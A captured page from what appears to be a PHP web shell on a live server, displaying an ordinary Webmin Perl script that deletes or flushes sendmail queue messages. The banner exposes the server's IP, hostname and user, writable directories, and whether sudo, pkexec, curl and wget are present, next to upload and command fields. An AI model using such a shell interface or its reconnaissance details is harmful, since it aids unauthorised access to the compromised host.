Private
Server IP : 195.201.23.43  /  Your IP : 18.226.4.129
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/sendmail/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/sendmail/del_mailqs.cgi
#!/usr/bin/perl
# del_mailqs.cgi
# Delete some mail messages from the queue

require './sendmail-lib.pl';
require './boxes-lib.pl';
&ReadParse();
@files = split(/\0/, $in{'file'});

if ($in{'flush'}) {
	# Flushing selected messages
	@files || &error($text{'delq_enone'});
	$access{'flushq'} || &error($text{'flushq_ecannot'});
	&ui_print_unbuffered_header(undef, $text{'flushq_title'}, "");

	# Split into quarantined and non-quarantined messages
	local @mails = map { &mail_from_queue($_) } @files;
	local @quar = grep { $_->{'quar'} } @mails;
	local @nonquar = grep { !$_->{'quar'} } @mails;

	foreach $ml (\@quar, \@nonquar) {
		next if (!@$ml);
		@files = map { $_->{'file'} } @$ml;
		$cmd = "$config{'sendmail_path'} -v -C$config{'sendmail_cf'}";
		if ($ml->[0]->{'quar'}) {
			$cmd .= " -qQ";
			}
		foreach $file (@files) {
			$file =~ s/^.*\///;
			$cmd .= " -qI$file";
			}
		if ($config{'mailq_order'}) {
			$cmd .= " -O QueueSortOrder=$config{'mailq_order'}";
			}
		print &text('flushq_desc2', scalar(@files)),"\n";
		print "<pre>";
		&foreign_require("proc", "proc-lib.pl");
		&foreign_call("proc", "safe_process_exec_logged", $cmd, 0, 0,
			      STDOUT, undef, 1);
		print "</pre>\n";
		}
	&webmin_log("flushq", undef, scalar(@files));
	}
else {
	# Deleting selected messages
	&error_setup($text{'delq_err'});
	$access{'mailq'} == 2 || &error($text{'delq_ecannot'});
	@files || &error($text{'delq_enone'});
	&ui_print_header(undef, $text{'delq_titles'}, "");

	if ($in{'confirm'} || !$config{'delete_confirm'}) {
		# Do it!
		$count = 0;
		$conf = &get_sendmailcf();
		foreach $file (@files) {
			print &text('delq_file', "<tt>$file</tt>"),"&nbsp;&nbsp;&nbsp;\n";

			local $ok;
			foreach $mqueue (&mailq_dir($conf)) {
				$ok++ if ($file =~ /^$mqueue\//);
				}
			if (!$ok) {
				print $text{'delq_efile'},"<br>\n";
				next;
				}

			if ($file =~ /\.\./) {
				print $text{'delq_efile'},"<br>\n";
				next;
				}
			if (!-r $file) {
				print $text{'delq_egone'},"<br>\n";
				next;
				}

			$mail = &mail_from_queue($file, "auto");
			if (!&can_view_qfile($mail)) {
				print $text{'delq_ecannot'},"<br>\n";
				next;
				}

			if (-r $mail->{'lfile'} && !$in{'locked'}) {
				print $text{'delq_elocked'},"<br>\n";
				next;
				}

			unlink($mail->{'file'}, $mail->{'dfile'}, $mail->{'lfile'});
			print $text{'delq_ok'},"<br>\n";
			$count++;
			}
		&webmin_log("delmailq", undef, undef, { 'count' => $count }) if ($count);
		}
	else {
		# Ask for confirmation first
		print "<center>\n";
		print &ui_form_start("del_mailqs.cgi", "post");
		print &text('delq_rusure', scalar(@files)),"<p>\n";
		foreach $f (@files) {
			print &ui_hidden("file", $f),"\n";
			}
		print &ui_hidden("locked", $in{'locked'}),"\n";
		print &ui_form_end([ [ "confirm", $text{'delq_confirm'} ] ]);
		print "</center>\n";
		}
	}
&ui_print_footer("list_mailq.cgi", $text{'mailq_return'});

Private